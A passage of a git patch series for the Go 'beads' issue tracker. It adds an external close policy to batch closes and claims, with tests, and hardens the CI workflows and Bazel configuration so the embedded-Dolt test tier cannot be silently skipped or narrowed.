nil, false}, + {"unreadable", types.DepBlocks, types.StatusClosed, errors.New("foreign read failed"), true}, + {"nonblocking", types.DepRelated, types.StatusOpen, nil, false}, + } { + t.Run(tc.name, func(t *testing.T) { + lifecycle := &fakeLifecycle{} + raw := &fakeStore{lifecycle: lifecycle, deps: map[string][]*types.Dependency{ + "be-consumer": {externalDep("be-consumer", "external:remote:payments", tc.depType)}, + }} + foreign := &fakeStore{labelErr: tc.labelErr, labels: map[string][]*types.Issue{ + "provides:payments": {{ID: "remote-provider", Status: tc.providerStatus}}, + }} + ops, err := testStore(raw, foreign, true).IssueLifecycle() + if err != nil { + t.Fatal(err) + } + _, err = ops.Update(t.Context(), publicops.UpdateRequest{IssueID: "be-consumer", Actor: "worker", Claim: true}) + if errors.Is(err, storage.ErrCloseBlocked) != tc.wantBlocked { + t.Fatalf("claim error = %v, want blocked=%v", err, tc.wantBlocked) + } + if !tc.wantBlocked && err != nil { + t.Fatal(err) + } + wantCalls := 1 + if tc.wantBlocked { + wantCalls = 0 + } + if lifecycle.updated != wantCalls { + t.Fatalf("inner updates = %d, want %d", lifecycle.updated, wantCalls) + } + }) + } +} + +// A backend without policy support still closes a batch that no external +// blocker touches. A blocked item or a next claim, which must exclude every +// blocked candidate, still refuses rather than bypassing the policy. +func TestBatchCloserScopesPolicyWithoutClaim(t *testing.T) { + for _, tc := range []struct { + name string + items []string + claimNext bool + wantUnsupported bool + }{ + {"unrelated_blocker", []string{"be-free"}, false, false}, + {"blocked_item", []string{"be-free", "be-consumer"}, false, true}, + {"claim_next", []string{"be-free"}, true, true}, + } { + t.Run(tc.name, func(t *testing.T) { + batch := &fakeBatchCloser{} + raw := &fakeStore{batch: batch, deps: map[string][]*types.Dependency{ + "be-consumer": {externalDep("be-consumer", "external:remote:payments", types.DepBlocks)}, + }} + foreign := &fakeStore{labels: map[string][]*types.Issue{ + "provides:payments": {{ID: "remote-provider", Status: types.StatusOpen}}, + }} + closer, err := testStore(raw, foreign, true).BatchCloser() + if err != nil { + t.Fatal(err) + } + request := publicops.CloseBatchRequest{Actor: "worker"} + for _, id := range tc.items { + request.Items = append(request.Items, publicops.BatchCloseItem{IssueID: id}) + } + if tc.claimNext { + request.ClaimNext = &publicops.ReadyRequest{} + } + _, err = closer.CloseBatch(t.Context(), request) + var unsupported *storage.ErrUnsupported + if errors.As(err, &unsupported) != tc.wantUnsupported { + t.Fatalf("close batch error = %v, want unsupported=%v", err, tc.wantUnsupported) + } + if !tc.wantUnsupported && err != nil { + t.Fatal(err) + } + wantCalls := 1 + if tc.wantUnsupported { + wantCalls = 0 + } + if batch.closed != wantCalls { + t.Fatalf("inner batches = %d, want %d", batch.closed, wantCalls) + } + }) + } +} + func TestGetBlockedIssuesPaginatesCombinedExternalResults(t *testing.T) { local, external := issue("be-local"), issue("be-external") createdAt := time.Date(2026, time.August, 2, 0, 0, 0, 0, time.UTC) diff --git a/internal/storage/externaldeps/uow_decorator.go b/internal/storage/externaldeps/uow_decorator.go index 8721bb461..9db47cd44 100644 --- a/internal/storage/externaldeps/uow_decorator.go +++ b/internal/storage/externaldeps/uow_decorator.go @@ -3,6 +3,7 @@ package externaldeps import ( "context" "database/sql" + "errors" "fmt" "slices" @@ -337,21 +338,38 @@ func (u *issueUseCase) GetBlockedIssues(ctx context.Context, filter types.WorkFi } func (u *issueUseCase) CloseIssueChecked(ctx context.Context, id string, params domain.CloseIssueParams, actor string, force bool) (domain.CloseIssueResult, error) { - if err := u.guardExternalClose(ctx, id, force); err != nil { + if err := u.guardExternalCheckedClose(ctx, id, force, u.IssueUseCase.GetIssue); err != nil { return domain.CloseIssueResult{}, err } return u.IssueUseCase.CloseIssueChecked(ctx, id, params, actor, force) } func (u *issueUseCase) CloseWispChecked(ctx context.Context, id string, params domain.CloseIssueParams, actor string, force bool) (domain.CloseIssueResult, error) { - if err := u.guardExternalClose(ctx, id, force); err != nil { + if err := u.guardExternalCheckedClose(ctx, id, force, u.IssueUseCase.GetWisp); err != nil { return domain.CloseIssueResult{}, err } return u.IssueUseCase.CloseWispChecked(ctx, id, params, actor, force) } +func (u *issueUseCase) guardExternalCheckedClose(ctx context.Context, id string, force bool, get func(context.Context, string) (*types.Issue, error)) error { + err := u.guardExternalClose(ctx, id, force) + if !errors.Is(err, storage.ErrCloseBlocked) { + return err + } + current, readErr := get(ctx, id) + if readErr != nil { + return readErr + } + // The backend owns not-found and idempotent re-close behavior. The + // snapshot must not turn an already-settled close into a refusal. + if current == nil || current.Status == types.StatusClosed { + return nil + } + return err +} + func (u *issueUseCase) ApplyUpdate(ctx context.Context, id string, spec domain.UpdateSpec, actor string) (*types.Issue, error) { - if isClosedUpdate(spec.Fields) { + if spec.Claim || isClosedUpdate(spec.Fields) { if err := u.guardExternalClose(ctx, id, false); err != nil { return nil, err } @@ -359,6 +377,20 @@ func (u *issueUseCase) ApplyUpdate(ctx context.Context, id string, spec domain.U return u.IssueUseCase.ApplyUpdate(ctx, id, spec, actor) } +func (u *issueUseCase) ClaimIssue(ctx context.Context, id, actor string) (domain.ClaimResult, error) { + if err := u.guardExternalClose(ctx, id, false); err != nil { + return domain.ClaimResult{}, err + } + return u.IssueUseCase.ClaimIssue(ctx, id, actor) +} + +func (u *issueUseCase) ClaimWisp(ctx context.Context, id, actor string) (domain.ClaimResult, error) { + if err := u.guardExternalClose(ctx, id, false); err != nil { + return domain.ClaimResult{}, err + } + return u.IssueUseCase.ClaimWisp(ctx, id, actor) +} + func isClosedUpdate(fields map[string]any) bool { switch status := fields["status"].(type) { case string: diff --git a/internal/storage/externaldeps/uow_decorator_test.go b/internal/storage/externaldeps/uow_decorator_test.go index 4555a6dc6..3b6c024fb 100644 --- a/internal/storage/externaldeps/uow_decorator_test.go +++ b/internal/storage/externaldeps/uow_decorator_test.go @@ -268,6 +268,17 @@ func TestWrapUOWProviderGuardsDoneUpdatesAndWispCloses(t *testing.T) { t.Fatalf("NewUOW: %v", err) } issueUC := uw.IssueUseCase() + for _, id := range []string{durable.ID, wisp.ID} { + if _, err := issueUC.ApplyUpdate(t.Context(), id, domain.UpdateSpec{Claim: true, Fields: map[string]any{"notes": "must not be written"}}, "tester"); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("ApplyUpdate claim %s: %v, want ErrCloseBlocked", id, err) + } + } + if _, err := issueUC.ClaimIssue(t.Context(), durable.ID, "tester"); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("ClaimIssue error = %v, want ErrCloseBlocked", err) + } + if _, err := issueUC.ClaimWisp(t.Context(), wisp.ID, "tester"); !errors.Is(err, storage.ErrCloseBlocked) { + t.Fatalf("ClaimWisp error = %v, want ErrCloseBlocked", err) + } if _, err := issueUC.ApplyUpdate(t.Context(), durable.ID, domain.UpdateSpec{Fields: map[string]any{"status": string(types.StatusClosed)}}, "tester"); !errors.Is(err, storage.ErrCloseBlocked) { t.Fatalf("ApplyUpdate error = %v, want ErrCloseBlocked", err) } @@ -284,6 +295,16 @@ func TestWrapUOWProviderGuardsDoneUpdatesAndWispCloses(t *testing.T) { if ids := blockedIssueIDs(blocked); !slices.Equal(ids, []string{durable.ID, wisp.ID}) { t.Fatalf("blocked IDs = %v, want [%s %s]", ids, durable.ID, wisp.ID) } + durable.Status, wisp.Status = types.StatusClosed, types.StatusClosed + if _, err := issueUC.CloseIssueChecked(t.Context(), durable.ID, domain.CloseIssueParams{}, "tester", false); err != nil { + t.Fatalf("durable re-close: %v", err) + } + if _, err := issueUC.CloseWispChecked(t.Context(), wisp.ID, domain.CloseIssueParams{}, "tester", false); err != nil { + t.Fatalf("wisp re-close: %v", err) + } + if !slices.Equal(issues.closed, []string{durable.ID, wisp.ID}) { + t.Fatalf("re-closes did not reach the backend: %v", issues.closed) + } } func TestWrapUOWProviderPaginatesCombinedExternalBlockedWork(t *testing.T) { diff --git a/internal/storage/hook_batch_closer.go b/internal/storage/hook_batch_closer.go index c5328f91e..730aad25a 100644 --- a/internal/storage/hook_batch_closer.go +++ b/internal/storage/hook_batch_closer.go @@ -25,6 +25,14 @@ type hookBatchCloser struct { hooks issueOperationHooks } +func (h *HookFiringStore) BatchCloserWithPolicy(policy BatchClosePolicy) (issueops.BatchCloser, error) { + inner, err := BatchCloserWithPolicy(h.inner, policy) + if err != nil { + return nil, err + } + return &hookBatchCloser{inner: inner, hooks: h}, nil +} + // CloseBatch fires the close hook once PER LANDED ITEM, in request order, and // fires nothing for an item that refused. Per item rather than once for the // batch because a hook script is written against one issue: collapsing N diff --git a/internal/storage/hook_batch_closer_test.go b/internal/storage/hook_batch_closer_test.go index 5037cee5d..0b6419bb0 100644 --- a/internal/storage/hook_batch_closer_test.go +++ b/internal/storage/hook_batch_closer_test.go @@ -30,6 +30,33 @@ type batchCloserStore struct { func (s batchCloserStore) BatchCloser() (issueops.BatchCloser, error) { return s.closer, s.err } +type policyBatchCloserStore struct { + batchCloserStore + policy BatchClosePolicy +} + +func (s *policyBatchCloserStore) BatchCloserWithPolicy(policy BatchClosePolicy) (issueops.BatchCloser, error) { + s.policy = policy + return s.BatchCloser() +} + +func TestHookFiringStoreForwardsBatchClosePolicy(t *testing.T) { + inner := &fakeBatchCloser{} + raw := &policyBatchCloserStore{batchCloserStore: batchCloserStore{closer: inner}} + store := &HookFiringStore{inner: raw} + closer, err := BatchCloserWithPolicy(store, NewBatchClosePolicy(map[string][]string{"blocked": {"external:p:c"}})) + if err != nil { + t.Fatal(err) + } + if !errors.Is(raw.policy.CheckClose("blocked", false), ErrCloseBlocked) { + t.Fatal("hook wrapper dropped external policy") + } + hooked, ok := closer.(*hookBatchCloser) + if !ok || hooked.inner != inner || hooked.hooks != store { + t.Fatalf("policy accessor lost hook layer: %T", closer) + } +} + // TestHookFiringStoreBatchCloserLayersHooksOverInner pins the recursion, for // the reason its Lifecycle sibling pins it: delegating would compile, satisfy // Storage, and silently stop running every on_close script. diff --git a/internal/storage/issueops/close_batch.go b/internal/storage/issueops/close_batch.go index 5fce1ff91..1a1be3a7b 100644 --- a/internal/storage/issueops/close_batch.go +++ b/internal/storage/issueops/close_batch.go @@ -115,11 +115,30 @@ func closeOutcomeIsEphemeral(outcome publicops.CloseOutcome) bool { // claim, and so does a batch in which nothing landed — landed meaning an item // that CHANGED, so a batch whose items were all already closed earns no claim. func ExecuteCloseBatch(ctx context.Context, tx *sql.Tx, request publicops.CloseBatchRequest, claimFilter *types.WorkFilter) (publicops.CloseBatchResult, ChangedTables, error) { + return ExecuteCloseBatchWithPolicy(ctx, tx, request, claimFilter, storage.BatchClosePolicy{}) +} + +// ExecuteCloseBatchWithPolicy applies an externally resolved snapshot without +// splitting the closes and next claim into separate transactions. +func ExecuteCloseBatchWithPolicy(ctx context.Context, tx *sql.Tx, request publicops.CloseBatchRequest, claimFilter *types.WorkFilter, policy storage.BatchClosePolicy) (publicops.CloseBatchResult, ChangedTables, error) { result := publicops.CloseBatchResult{Outcomes: make([]publicops.CloseOutcome, len(request.Items))} tables := ChangedTables{} landed := 0 for i, item := range request.Items { + if err := policy.CheckClose(item.IssueID, request.Force); err != nil { + // Preserve idempotent re-closes and not-found precedence. Only + // a live target can be refused by the external close policy. + closed, _, found, readErr := isClosedInTx(ctx, tx, item.IssueID) + if readErr != nil { + result.Outcomes[i] = publicops.CloseOutcome{IssueID: item.IssueID, Err: readErr} + continue + } + if found && !closed { + result.Outcomes[i] = publicops.CloseOutcome{IssueID: item.IssueID, Err: err} + continue + } + } closed, changedTables, err := ExecuteClose(ctx, tx, publicops.CloseRequest{ Actor: request.Actor, IssueID: item.IssueID, @@ -144,7 +163,7 @@ func ExecuteCloseBatch(ctx context.Context, tx *sql.Tx, request publicops.CloseB } if claimFilter != nil && landed > 0 { - claim, claimTables, err := ExecuteClaimNext(ctx, tx, request.Actor, *claimFilter) + claim, claimTables, err := ExecuteClaimNext(ctx, tx, request.Actor, policy.FilterClaim(*claimFilter)) if err != nil { return publicops.CloseBatchResult{}, nil, err } diff --git a/internal/storage/issueops/close_test.go b/internal/storage/issueops/close_test.go index 538d07be8..3b57d0995 100644 --- a/internal/storage/issueops/close_test.go +++ b/internal/storage/issueops/close_test.go @@ -2,9 +2,12 @@ package issueops import ( "context" + "errors" "testing" "github.com/DATA-DOG/go-sqlmock" + "github.com/steveyegge/beads/internal/storage" + publicops "github.com/steveyegge/beads/issueops" ) // TestCountOpenChildrenInTxUsesTargetedOpenEdges keeps the close guard from @@ -43,3 +46,65 @@ func TestCountOpenChildrenInTxUsesTargetedOpenEdges(t *testing.T) { t.Fatalf("unmet targeted-count SQL expectations: %v", err) } } + +// TestExecuteCloseBatchWithPolicyDefersToTheTargetRead pins the external +// policy's fallback read. A snapshot names only ids, so it refuses a live +// target alone: a missing target keeps the backend's not-found, and a status +// read that fails reports that failure instead of a policy refusal. +func TestExecuteCloseBatchWithPolicyDefersToTheTargetRead(t *testing.T) { + t.Parallel() + + const id = "close-policy-target" + readErr := errors.New("status read failed") + statusQuery := func(table string) string { return `SELECT status FROM ` + table + ` WHERE id = \?` } + for _, tc := range []struct { + name string + expect func(sqlmock.Sqlmock) + want error + }{ + { + // Neither table has the row, for the policy's read or for + // ExecuteClose's own, so the backend's not-found stands. + name: "missing", + expect: func(mock sqlmock.Sqlmock) { + for range 2 { + for _, table := range []string{"issues", "wisps"} { + mock.ExpectQuery(statusQuery(table)). + WithArgs(id). + WillReturnRows(sqlmock.NewRows([]string{"status"})) + } + } + }, + want: storage.ErrNotFound, + }, + { + name: "unreadable", + expect: func(mock sqlmock.Sqlmock) { + mock.ExpectQuery(statusQuery("issues")). + WithArgs(id). + WillReturnError(readErr) + }, + want: readErr, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + _, mock, tx := beginMockTx(t) + tc.expect(mock) + result, _, err := ExecuteCloseBatchWithPolicy(context.Background(), tx, publicops.CloseBatchRequest{ + Actor: "tester", + Items: []publicops.BatchCloseItem{{IssueID: id}}, + }, nil, storage.NewBatchClosePolicy(map[string][]string{id: {"external:p:c"}})) + if err != nil { + t.Fatalf("ExecuteCloseBatchWithPolicy: %v", err) + } + if got := result.Outcomes[0].Err; !errors.Is(got, tc.want) || errors.Is(got, storage.ErrCloseBlocked) { + t.Fatalf("outcome error = %v, want %v rather than a policy refusal", got, tc.want) + } + if err := mock.ExpectationsWereMet(); err != nil { + t.Fatalf("unmet target-read SQL expectations: %v", err) + } + }) + } +} diff --git a/internal/telemetry/BUILD.bazel b/internal/telemetry/BUILD.bazel index a2d88c3d7..ef62f903a 100644 --- a/internal/telemetry/BUILD.bazel +++ b/internal/telemetry/BUILD.bazel @@ -61,6 +61,7 @@ go_library( go_test( name = "telemetry_test", srcs = [ + "batch_close_policy_test.go", "issue_claimer_test.go", "issue_operations_test.go", "issue_reader_test.go", diff --git a/internal/telemetry/batch_close_policy_test.go b/internal/telemetry/batch_close_policy_test.go new file mode 100644 index 000000000..1bee9370d --- /dev/null +++ b/internal/telemetry/batch_close_policy_test.go @@ -0,0 +1,37 @@ +package telemetry + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/issueops" +) + +type policyBatchCloserStore struct { + storage.DoltStorage + closer issueops.BatchCloser + policy storage.BatchClosePolicy +} + +func (s *policyBatchCloserStore) BatchCloserWithPolicy(policy storage.BatchClosePolicy) (issueops.BatchCloser, error) { + s.policy = policy + return s.closer, nil +} + +func TestInstrumentedStorageForwardsBatchClosePolicy(t *testing.T) { + sentinel := &roleAccessorSentinel{} + raw := &policyBatchCloserStore{closer: sentinel} + store := &InstrumentedStorage{inner: raw} + closer, err := storage.BatchCloserWithPolicy(store, storage.NewBatchClosePolicy(map[string][]string{"blocked": {"external:p:c"}})) + if err != nil { + t.Fatal(err) + } + if !errors.Is(raw.policy.CheckClose("blocked", false), storage.ErrCloseBlocked) { + t.Fatal("telemetry wrapper dropped external policy") + } + instrumented, ok := closer.(*instrumentedBatchCloser) + if !ok || instrumented.inner != sentinel || instrumented.storage != store { + t.Fatalf("policy accessor lost telemetry layer: %T", closer) + } +} diff --git a/internal/telemetry/batch_closer.go b/internal/telemetry/batch_closer.go index 30901dcb4..15d2d1498 100644 --- a/internal/telemetry/batch_closer.go +++ b/internal/telemetry/batch_closer.go @@ -3,6 +3,7 @@ package telemetry import ( "context" + "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/issueops" ) @@ -17,6 +18,14 @@ func (s *InstrumentedStorage) BatchCloser() (issueops.BatchCloser, error) { return s.WrapBatchCloser(inner), nil } +func (s *InstrumentedStorage) BatchCloserWithPolicy(policy storage.BatchClosePolicy) (issueops.BatchCloser, error) { + inner, err := storage.BatchCloserWithPolicy(s.Unwrap(), policy) + if err != nil { + return nil, err + } + return s.WrapBatchCloser(inner), nil +} + // WrapBatchCloser instruments guarded batch closes with this storage layer's // existing telemetry meter and tracer. func (s *InstrumentedStorage) WrapBatchCloser(inner issueops.BatchCloser) issueops.BatchCloser { From 46e670abbfd41834b996fa3816bad3d55ee8ae68 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 1 Oct 2026 02:03:46 -0700 Subject: [PATCH 022/325] ci: retire PR Risk's legacy embedded tier where the gated Bazel lane runs it (D2 step 1) (#7071) * ci(pr-risk): stand down legacy embedded tier where the gated Bazel lane runs it D2 step 1. A new bazel-embedded-coverage job decides, from the same expressions as bazel.yml's rbe job, whether pr.yml's Bazel call takes execution mode remote on a same-repo pull_request (RBE_WEST_WORKERS on, executor secret present, not a fork). Only then do test-embedded-storage, test-embedded-conformance and test-embedded-cmd (27 jobs) skip, and PR Risk's gate accepts those skips only then; a failed or missing decision is red. Forks, Dependabot, secret-less runs, the farm switch unset and merge_group keep the legacy tier. build-embedded keeps running: its artifact feeds the proxied and server Dolt jobs. The decision job reads no repository code and the secret only as an emptiness test. scripts/pr_risk_bazel_coverage_test.go runs both actual decision scripts over every event/var/secret/fork combination and requires covered <=> (pull_request && Bazel mode remote), pins the shared env expressions, checks pr.yml still requires BAZEL_EMBEDDED and shares PR Risk's triggers, and simulates PR Risk's gate over every tier/decision. Revert: unset RBE_WEST_WORKERS. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): record the retired legacy embedded tier in the check topology Who keeps the legacy tier, how the decision and gate work, the drift guard, the residual cross-run race, the conformance.yml duplicate, and how to revert (unset RBE_WEST_WORKERS). Co-Authored-By: Claude Opus 5.5 (1M context) * ci(pr-risk): retire the embedded tier by committed flag; pr.yml gate fails closed Review F1. PR Risk's coverage decision read the mutable RBE_WEST_WORKERS variable in a different run from pr.yml's rbe job, so unsetting it and re-running one workflow could leave both required checks green with neither the legacy tier nor the Bazel lane having run the tier. - Both workflows now commit BAZEL_RETIRES_LEGACY_EMBEDDED (policy-tested equal) and run the identical bazel-embedded-coverage job: covered = flag && pull_request && !fork && executor secret present. RBE_WEST_WORKERS is no longer read by PR Risk at all. - pr.yml's ci-gate requires the job's result (BAZEL_EMBEDDED_COVERAGE) and BAZEL_EMBEDDED_RETIRED, which is red when covered but the Bazel embedded lane did not run remotely and pass (mode skip included). - Revert is a commit of the flag to "false" in both workflows; in-flight PRs pick it up on their next push. The kill-switch runbook now flips the flag first. Tests run both decision steps, bazel.yml's rbe step and pr.yml's real gate step over every event/var/secret/fork/flag combination, with the variable differing between the two runs, and require no double-green without the tier. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): never cache embedded-tier test results Review F2. Since D2 step 1 the Bazel embedded lane is the tier's only pre-merge run on same-repo PRs, so a cached PASS (stale, or a poisoned entry in the shared farm action cache) or a cached run that never re-exercises an intermittent -race finding would stand in for the legacy jobs' -test.count=1 run. test:embedded now sets --nocache_test_results, and the policy test requires it and forbids any other rc line that turns test result caching back on. Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): forbid flaky-test retries in the gated Bazel lanes Review F3. Adding --flaky_test_attempts to a lane's config or flaky = True to a lane target passed every policy test, and would hide a flaky failure the legacy jobs (which ran each test once) would have reported; since D2 step 1 nothing else runs the embedded tier on same-repo PRs. TestBazelGatedLanesNeverRetryFlakyTests rejects flaky_test_attempts and runs_per_test_detects_flakes in .bazelrc, .github (workflows, setup-bazel's generated rc) and tools/bazel, and flaky = True in every BUILD file and .bzl macro. Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): pin the Bazel embedded lane's command line and config Review F4. An extra --test_arg=-test.short/-test.skip on bazel.yml's `bazel test //... --config=embedded` line, or a test:embedded --test_filter in .bazelrc, narrowed the tier while every policy test passed (check_testcases only rejects a shard with zero tests). Since D2 step 1 this lane is the tier's only pre-merge run on same-repo PRs, so: - bazel-embedded's test step must be exactly the pinned script; - the --config=embedded lines must be exactly the pinned list, in order; - no unconfigured common/build/test line, and nothing setup-bazel's generated rc writes, may select or narrow tests (test_filter, test_arg, -test.short/run/skip, tag/size/lang/timeout filters). Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): add the D2 policy tests to scripts_test scripts/pr_risk_bazel_coverage_test.go was missing from //scripts:scripts_test's srcs, so `bazel test //scripts:scripts_test` (and the BUILD-sync check) did not see it. The repository-walking flaky-retry test skips under Bazel, whose runfiles hold no other package's BUILD files. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): check every listed embedded test ran in its Bazel shard Review F5. The shard scripts discover tests from source with grep, but each Bazel test binary holds only its target's srcs, so a discovered test the binary lacks matches nothing in the shard's -test.run selector and passes silently (check_testcases.py only rejects a shard with no tests). tools/bazel/check_shard_coverage.py runs each shard script in list-only mode (BEADS_TEST_SHARD_LIST_ONLY=1) and requires every Bazel shard's test.xml to hold exactly the listed top-level tests: missing, extra, wrong-shard, shard-count mismatch, missing test.xml and a failing script are errors. bazel-embedded runs it after the tier for //cmd/bd:bd_embedded_test (20) and embeddeddolt_embedded_test (5); the policy test pins the suites to pr-risk.yml's jobs and shard counts, and a fixture test exercises the script. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): correct the D2 enforcement, re-run and merge-queue claims Review F6. - The beads-only ruleset enforces both gates on main only; release/** PRs run them but merging does not wait for them, before and after D2. - There is no merge queue and strict is off: merge_group runs are not a pre-merge safety net for the retired tier. - Spell out "Re-run all/failed jobs" semantics under the committed flag, the remaining secret-deletion window, and that the revert needs a new push to in-flight PRs. - Record the lane hardening the retirement relies on (no result caching, no retries, pinned selection, per-shard coverage check). Co-Authored-By: Claude Opus 5.5 (1M context) * fix(ci): drop TestMain from the embedded shard-coverage check Re-review G1 (blocking). embedded-storage-test-shard.sh discovers tests with `grep '^func Test'`, which also lists TestMain(m *testing.M) (internal/storage/embeddeddolt/test_fixture_test.go). It is never a , so check_shard_coverage.py reported it missing on every real remote run, turning bazel-embedded and CI Gate red on every same-repo PR. The checker now drops NOT_TESTS = {TestMain}. The shard scripts are left unchanged so the legacy jobs' -test.run selection stays byte-for-byte the same (dropping TestMain there would be harmless to shard assignment, which hashes per name, but would touch the legacy CI scripts this step does not otherwise change). TestEmbeddedShardScriptsListOnlyRealTests runs both real shard scripts in list-only mode for every shard and requires each listed name to be a `func Name(t *testing.T)` in the package, or in NOT_TESTS (which may hold only TestMain, and only if it is not a test). The fixture shard script now lists TestMain too, so the filter itself is exercised. Verified on a real remote run (`bazel test //... --config=embedded --config=remote-exec`, 4/4 targets, 27 test.xml, 582 top-level tests, 348 s uncached): check_testcases.py and check_shard_coverage.py both pass (199 cmd + 381 storage tests); the previous checker failed on TestMain. Co-Authored-By: Claude Opus 5.5 (1M context) * ci(pr-risk): decide embedded coverage by actor, not by the executor secret Re-review G2. covered still read secrets.RBE_WEST_EXECUTOR, which an admin can delete between PR Risk's run and a re-run of pr.yml: PR Risk stayed green with the legacy tier skipped, while the re-run computed covered = false, took mode local and passed with no embedded lane. Both workflows' bazel-embedded-coverage now decide covered = flag && pull_request && !fork && github.actor != dependabot[bot] and read no secret or variable at all (PR Risk now reads no secret). Dependabot (no Actions secrets) keeps the legacy tier; github.actor, unlike triggering_actor, survives a re-run by someone else. A same-repo PR without the secret is covered, so pr.yml's gate goes red (mode local) instead of passing. The two-run test matrix now varies the secret as well as RBE_WEST_WORKERS between PR Risk's and pr.yml's runs, adds the actor to the facts, and names the missing-secret case (red). Docs updated: the residual is gone, the cost of failing closed is recorded. Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): close the remaining ways to narrow the Bazel embedded lane Re-review G3. Skip-inducing edits outside the pinned --config=embedded lines and command line still passed every policy test (reviewer survivors m1, m2, m5, m6, m9, m10, m11), and the runtime checks counted skipped testcases as run. TestBazelEmbeddedLaneCannotBeNarrowed now rejects: - any .bazelrc line of a config the lane uses (unconfigured, embedded, remote-exec from setup-bazel's rc, and any config they reference) that filters, narrows, re-runs or re-routes tests (test_filter, test_arg, -test.*, *_filters, test_env=BEADS_TEST*/GO_TEST*/TESTBRIDGE*, --config=, cache_test_results, run_under other than test_env, flaky, runs_per_test, sharding strategy); - any import other than the two gitignored try-imports, and any committed rc file besides .bazelrc (try-import would load it in CI); - -test.short/run/skip/list, BEADS_TEST_SKIP, BEADS_TEST_EMBEDDED_DOLT, TESTBRIDGE_TEST_ONLY and similar in tools/bazel/*.sh (test_env.sh, go_test_manifest_shard.sh, ...) and anywhere in the setup-bazel action, and any --config= there but remote-exec; - any change to the set of embedded-tagged targets or their args/env. At run time check_shard_coverage.py fails a shard whose top-level tests were all skipped, and its new --whole option applies the same check to the unsharded conformance core/audit targets (added to bazel-embedded's step). The real remote run still passes (no shard is all-skipped today; one cmd shard has 1 of 9 tests skipped). Co-Authored-By: Claude Opus 5.5 (1M context) * ci(bazel): ask Bazel for flaky test targets before the embedded tier Re-review G4. The F3 grep wanted a literal `flaky = True`, so `flaky = _RETRY` (or a macro default) slipped through (reviewer m3). - bazel-embedded runs `bazel query 'attr(flaky, 1, tests(//...))'` after setup-bazel and before the tier, and fails on any result (loading only; about 0.2 s warm). Verified locally: with `_RETRY = True` / `flaky = _RETRY` on embeddeddolt_embedded_test the query lists it. - The policy grep now rejects any `flaky =` whose value is not a literal False or 0, and TestBazelEmbeddedQueriesFlakyTargets pins the step. Co-Authored-By: Claude Opus 5.5 (1M context) * test(ci): cover the zero-testcase shard in check_shard_coverage Re-review G5. Skipping the "listed but did not run" report when a shard's test.xml has no top-level tests survived the fixture test (reviewer m7); check_testcases.py catches that shard at run time, but the coverage check should not depend on it. Two fixture cases: a shard with no testcases, and one with only a subtest. Co-Authored-By: Claude Opus 5.5 (1M context) * docs(ci): record the G1-G5 embedded-lane hardening in the topology doc Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 6 + .github/workflows/bazel.yml | 41 +- .github/workflows/pr-risk.yml | 82 +- .github/workflows/pr.yml | 72 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 189 +++- scripts/BUILD.bazel | 1 + scripts/ci_capability_selector_test.go | 15 +- scripts/ci_workflow_test.go | 154 +++- scripts/pr_risk_bazel_coverage_test.go | 1169 ++++++++++++++++++++++++ tools/bazel/check_shard_coverage.py | 164 ++++ 10 files changed, 1862 insertions(+), 31 deletions(-) create mode 100644 scripts/pr_risk_bazel_coverage_test.go create mode 100755 tools/bazel/check_shard_coverage.py diff --git a/.bazelrc b/.bazelrc index 308ab55ec..b700f8961 100644 --- a/.bazelrc +++ b/.bazelrc @@ -99,6 +99,12 @@ test:embedded --test_timeout=-1,-1,-1,1200 test:embedded --test_arg=-test.parallel=4 test:embedded --test_env=GO_TEST_WRAP_TESTV=1 test:embedded --remote_download_regex=.*/test\.xml$ +# Since D2 step 1 this lane is the tier's only pre-merge run on same-repo PRs +# (pr-risk.yml's legacy jobs stand down), and the legacy jobs ran every test +# every time (-test.count=1). A cached PASS would let a stale or poisoned +# farm action-cache entry, or an unreproduced -race finding, stand in for a +# run: always execute, at farm (not runner) cost. +test:embedded --nocache_test_results # Dolt-server lane: the same jobs as the docker lane ("Test (storage domain + # uow)" and "Contract corpus"), but every dolt sql-server is a child of the diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index a587814c4..265aa2bad 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -5,7 +5,13 @@ # and server-Dolt storage tiers, main.yml's integration jobs). # # PRs and merge groups run it through pr.yml's `bazel` job (workflow_call), -# in the same run as the legacy jobs it mirrors, which stay required too. +# in the same run as the legacy jobs it mirrors, which stay required too, +# except pr-risk.yml's embedded-Dolt test jobs: while the committed +# BAZEL_RETIRES_LEGACY_EMBEDDED flag is "true", on a same-repo, +# non-Dependabot pull_request (whatever the mode), pr-risk.yml's bazel-embedded-coverage job stands them down and +# bazel-embedded alone runs the tier; pr.yml's ci-gate then requires that +# lane to have run remotely and passed, so modes skip and local are red there +# (scripts/pr_risk_bazel_coverage_test.go). # This file has no pull_request or merge_group trigger of its own, so a PR # runs the lane once. Every lane reports its job.status as a workflow_call # output (named after the job) from an always() last step. pr.yml's ci-gate @@ -659,6 +665,9 @@ jobs: # processes (~7-10k test-seconds) on one runner, an hour or more per run # on the pool whose job cap this track exists to relieve, and it proves # nothing pr-risk.yml's embedded jobs (which do run for forks) do not. + # On same-repo pull_requests those jobs stand down (pr-risk.yml's + # bazel-embedded-coverage), so this lane is then the tier's only PR run + # and pr.yml's gate requires it to have run here and passed. # The runs-on expression is the shared one and always picks the # Blacksmith runner under this if. needs: rbe @@ -687,6 +696,18 @@ jobs: RBE_TLS_CA: ${{ needs.rbe.outputs.enabled == 'true' && secrets.RBE_TLS_CA || '' }} RBE_INSTANCE: ${{ needs.rbe.outputs.enabled == 'true' && 'oss' || '' }} + # Bazel retries a flaky = True test (up to three attempts) and reports a + # 